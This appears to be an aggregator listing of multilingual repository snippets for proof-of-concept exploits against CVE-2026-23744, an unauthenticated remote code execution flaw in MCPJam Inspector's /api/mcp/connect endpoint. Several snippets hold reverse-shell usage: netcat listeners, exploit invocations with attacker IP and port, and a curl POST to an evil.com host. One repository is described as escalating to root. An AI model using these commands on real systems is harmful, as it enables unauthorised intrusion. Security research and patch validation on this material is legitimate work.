mcpjam-cve-2026-23744-validator

MCPJam Inspector अधिकृत सुरक्षा सत्यापक CVE-2026-23744 के लिए एक सीमित प्रूफ-ऑफ-कॉन्सेप्ट सत्यापक जो कमजोर MCPJam Inspector तैनातियों को प्रभावित करता है। यह प्रोजेक्ट पहले से प्रकट किए गए CVE-2026-23744 के लिए एक स्वतंत्र, गैर-विनाशकारी सत्यापन उपकरण है। यह मूल भेद्यता प्रकटीकरण या शोषण नहीं है।...

PoC-CVE-2026-23744

PoC-CVE-2026-23744 Esecuzione di codice remoto su MCPJam Inspector Riferimento https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6...

MCPJam-Inspector-1.4.2-Remote-Code-Execution-CVE-2026-23744

su kali linux - terminale 1 nc -lvnp 4444 su kali linux - terminale 2 python3 ./CVE-2026-23744.py -t http://TARGET.com -p 4444 -i YOUR-KALI-LINUX-IP...

CVE-2025-49596-PoC

CVE-2026-23744-PoC Automatisierter PoC für CVE-2026-23744 RCE auf MCPJam Inspector vor Version 1.4.2 auf Linux-Zielen Verwendung root@kitploit: Verwende netcat, um einen Listener auf einem beliebigen Port wie 9002 zu starten. nc -nvlp 9002 Verwende die Automatisierung wie folgt python3...

CVE-2026-23744

CVE-2026-23744 MCPJam inspector Remote-Code-Execution: utilizzo del Proof of Concept POC: root@kitploit: python3 cve-2026-23744.py --target https:// --att-ip --att-p...

CVE-2026-23744-poc

CVE-2026-23744 — mcpJam-Exploit für Remote Code Execution RCE Ein Proof-of-Concept-Exploit in Python 3 für CVE-2026-23744 , eine Schwachstelle zur Ausführung beliebiger Befehle, die mcpJam v1.4.2 betrifft. Diese Anwendung automatisiert die Zustellung von Payloads, indem sie Befehle vor der...

CVE-2026-23744

CVE-2026-23744: PoC di Esecuzione Remota di Codice non Autenticata DICHIARAZIONE DI NON RESPONSABILITÀ: Questo repository e gli script associati sono destinati esclusivamente a valutazioni di sicurezza autorizzate, test di penetrazione, ricerca sulla sicurezza e analisi didattiche. Il test non...

CVE-2026-23744-PoC

Descrizione MCPJam inspector è la piattaforma di sviluppo local-first per server MCP. Le versioni 1.4.2 e precedenti sono vulnerabili a una vulnerabilità di esecuzione di codice in remoto RCE, che consente a un attaccante di inviare una richiesta HTTP appositamente predisposta che attiva...

CVE-2026-23744-MCPJam-Exploit

CVE-2026-23744 MCPJam Inspector RCE Exploit ⚠️ AVVISO Questo strumento è destinato ESCLUSIVAMENTE a test di sicurezza autorizzati e scopi educativi. L'uso non autorizzato è illegale. Gli utenti si assumono ogni responsabilità per le loro azioni. 📋 Panoramica Questo repository contiene un...

CVE-2026-23744

CVE-2026-23744 CVE-2026-23744 RCE Durante l'analisi di questa vulnerabilità, ho scoperto che MCPJam Inspector esponeva l'endpoint /api/mcp/connect alla rete associandosi a 0.0.0.0. Questo endpoint accetta un oggetto JSON contenente serverConfig, inclusi i campi command e args. L'applicazione avev...

CVE-2026-23744

CVE-2026-23744 الوصف MCPJam inspector هي منصة تطوير محلية أولاً لخوادم MCP. الإصدارات =1.4.2 معرّضة لثغرة تنفيذ التعليمات البرمجية عن بُعد RCE، والتي تسمح للمهاجم بإرسال طلب HTTP مُصمَّم خصيصًا يؤدي إلى تثبيت خادم MCP، مما يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد RCE. للحصول على تفاصيل حول الثغر...

mcp-pwn

CVE-2026-23744 — Esecuzione Remota di Codice non Autenticata in MCPJam Riepilogo MCPJam è un ispettore e proxy MCP Model Context Protocol open-source utilizzato per connettere, gestire il debug e amministrare server MCP. Le versioni = 1.4.2 espongono l'endpoint /api/mcp/connect senza autenticazio...

CVE-2026-23744-PoC

CVE-2026-23744-PoC Aviso legal: Este proof-of-concept é fornecido exclusivamente para investigação de segurança autorizada, fins educativos e ambientes de laboratório controlados por exemplo, HTB, CTF, ou testes de penetração internos com consentimento escrito explícito. A utilização não autoriza...

MCPJam Inspector - Remote Code Execution

MCPJam inspector is the local-first development platform for MCP servers. The Latest version 1.4.2 and earlier are vulnerable to a remote code execution RCE vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE. id:...

mcpExec

mcpExec é uma ferramenta que aproveita o CVE-2026-23744 para obter uma reverse shell usando a URL da instalação vulnerável do MCPJam Inspector. Instalação root@kitploit: git clone https://github.com/daemoncibsec/mcpExec.git cd mcpExec python3 -m venv venv source venv/bin/activate pip install rich...

CVE-2026-23744-PoC

CVE-2026-23744-PoC PoC sulla vulnerabilità in MCP Server. Automatizzato per la parte POST con il corpo corretto. percorso vulnerabile: root@kitploit: /api/mcp/connect metodo tramite curl: root@kitploit: curl http://evil.com:6274/api/mcp/connect --header "Content-Type: application/json" --data...

cve-2026-23744

CVE-2026-23744 – MCPJam Inspector Execução Remota de Código RCE Não Autenticada Descrição Produto : MCPJam Inspector Versões afetadas : ≤ 1.4.2 Versão corrigida : 1.4.3 Tipo : Execução Remota de Código RCE Não Autenticada Vetor de ataque : Rede Autenticação necessária : Não Interação do usuário...

CVE-2026-23744-RCE

MCPJam Inspector v1.4.2 - Exploit RCE Descrizione della vulnerabilità MCPJam Inspector contiene una vulnerabilità di Esecuzione Remota di Codice RCE non autenticata nell'endpoint /api/mcp/connect. La vulnerabilità consente agli aggressori di eseguire comandi arbitrari inviando un payload di...

CVE-2026-23744-RCE-for-MCPjam-inspector-v1.4.2

CVE-2026-23744-RCE-für-MCPjam-inspector-v1.4.2 Eine kritische RCE-Schwachstelle in MCPJam Inspector 3. Den Exploit starten root@kitploit: python3 CVE-2026-23744.py -u -i -p 4. Für eine bessere Nutzung empfehle ich, das Terminal auf ein voll funktionsfähiges zu aktualisieren, da sonst Befehle wie...

mcpjam-to-root

⚠️ Avvertenza Questo repository è destinato esclusivamente a ricerca sulla sicurezza autorizzata, test di penetrazione e scopi didattici. Non utilizzare le tecniche qui descritte contro sistemi senza autorizzazione esplicita. ⚡ MCPJam → Root Dalla RCE di MCPJam Inspector a root — CVE-2026-23744,...